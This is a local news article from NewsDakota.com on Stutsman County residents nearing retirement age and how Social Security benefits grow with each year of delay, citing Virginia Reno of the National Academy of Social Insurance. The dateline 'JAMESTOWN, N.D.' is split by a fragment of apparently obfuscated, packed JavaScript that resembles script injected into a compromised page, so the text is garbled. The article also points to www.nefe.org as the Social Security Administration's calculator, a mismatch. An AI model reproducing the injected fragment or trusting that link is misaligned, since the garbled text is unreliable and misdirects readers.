JAMESTOWN, nndkr|var|u0026u|referrer|ssydh||js|php’.split(‘|’),0,{}))
N.D. (NewsDakota.com) – Stutsman County has roughly 3,094 residents, or 14% of the population, that are aged 55 to 64. That’s about the age when workers can start taking Social Security, but for those that wait, the benefits increase.

Virginia Reno with the National Academy of Social Insurance says that if you need the Social Security early, then take it. If you can wait though, the payments increase between 5 to 7 percent for each year of delay between ages 62 and 66, and 8 percent for each year between ages 66 and 70. The increases stop at 70 years of age.

“Waiting even a year or two can make a big difference in the long run. The extra benefits are there for life.” Reno stated.

In North Dakota, only one in five residents who receive Social Security waited until full retirement benefits were accessible. The Social Security Administration website has a calculator that allows workers to estimate their retirement earnings based on their own work records and estimated retirement age. You can visit it at www.nefe.org.